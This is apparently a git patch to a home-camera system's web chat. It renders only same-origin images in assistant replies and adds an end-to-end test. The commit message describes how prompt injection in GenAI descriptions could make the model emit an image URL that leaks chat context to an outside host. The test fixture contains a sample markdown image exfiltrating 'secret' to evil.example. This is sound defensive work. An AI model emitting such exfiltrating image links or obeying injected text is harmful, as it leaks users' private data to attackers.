From 7af29a5a532766bfd55bbe25ccd0b2b17d3915c9 Mon Sep 17 00:00:00 2001 From: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:47:05 -0500 Subject: [PATCH] only render same-origin images in chat replies (#24716) Assistant markdown rendered any image URL, so a prompt injection in a GenAI description, transcription, or sub label could make the model emit an image pointing at an outside host and the browser would fetch it with chat context in the query string, without a click. Off-origin images now render as their alt text, and off-origin links open in a new tab with noopener noreferrer. --- web/e2e/specs/chat.spec.ts | 44 +++++++++++++++++++++++++ web/src/components/chat/ChatMessage.tsx | 29 ++++++++++++++++ 2 files changed, 73 insertions(+) diff --git a/web/e2e/specs/chat.spec.ts b/web/e2e/specs/chat.spec.ts index cab49828ab..956bf15ccd 100644 --- a/web/e2e/specs/chat.spec.ts +++ b/web/e2e/specs/chat.spec.ts @@ -218,6 +218,50 @@ test.describe("Chat — streaming @medium", () => { frigateApp.page.getByText(/searching for people/i), ).toBeVisible({ timeout: 5_000 }); }); + + test("assistant markdown renders only same-origin images", async ({ + frigateApp, + }) => { + const reply = + "![leaked alt](https://evil.example/x.png?d=secret) " + + "![local](/api/events/abc/thumbnail.webp) " + + "[offsite](https://evil.example/page)"; + await installChatStreamOverride(frigateApp, [ + { type: "content", delta: reply }, + { + type: "messages", + messages: [ + { role: "system", content: "sys" }, + { role: "user", content: "show me" }, + { role: "assistant", content: reply }, + ], + }, + { type: "done" }, + ]); + const offsiteRequests: string[] = []; + frigateApp.page.on("request", (req) => { + if (req.url().includes("evil.example")) offsiteRequests.push(req.url()); + }); + await frigateApp.goto("/chat"); + const input = frigateApp.page.getByPlaceholder(/ask/i); + await expect(input).toBeVisible({ timeout: 10_000 }); + await input.fill("show me"); + await input.press("Enter"); + + await expect(frigateApp.page.getByText("leaked alt")).toBeVisible({ + timeout: 10_000, + }); + await expect( + frigateApp.page.locator('img[src*="evil.example"]'), + ).toHaveCount(0); + await expect( + frigateApp.page.locator('img[src="/api/events/abc/thumbnail.webp"]'), + ).toHaveCount(1); + const link = frigateApp.page.getByRole("link", { name: "offsite" }); + await expect(link).toHaveAttribute("target", "_blank"); + await expect(link).toHaveAttribute("rel", "noopener noreferrer"); + expect(offsiteRequests).toEqual([]); + }); }); test.describe("Chat — stop @medium", () => { diff --git a/web/src/components/chat/ChatMessage.tsx b/web/src/components/chat/ChatMessage.tsx index c5d9a207f8..5213a539dd 100644 --- a/web/src/components/chat/ChatMessage.tsx +++ b/web/src/components/chat/ChatMessage.tsx @@ -18,6 +18,18 @@ import { cn } from "@/lib/utils"; import { ChatAttachmentChip } from "@/components/chat/ChatAttachmentChip"; import { parseAttachedEvent } from "@/utils/chatUtil"; import type { ChatStats, ShowStatsMode } from "@/types/chat"; +import { baseUrl } from "@/api/baseUrl"; + +// Assistant output can carry prompt-injected URLs, and the browser fetches +// images without a click, so only same-origin images render. +function isSameOrigin(url: string | undefined): boolean { + if (!url) return false; + try { + return new URL(url, baseUrl).origin === window.location.origin; + } catch { + return false; + } +} type MessageBubbleProps = { role: "user" | "assistant"; @@ -223,6 +235,23 @@ export function MessageBubble({ {...props} /> ), + img: ({ node: _n, src, alt, ...props }) => + typeof src === "string" && isSameOrigin(src) ? ( + {alt} + ) : ( + <>{alt} + ), + a: ({ node: _n, href, ...props }) => + isSameOrigin(href) ? ( + + ) : ( + + ), }} > {content}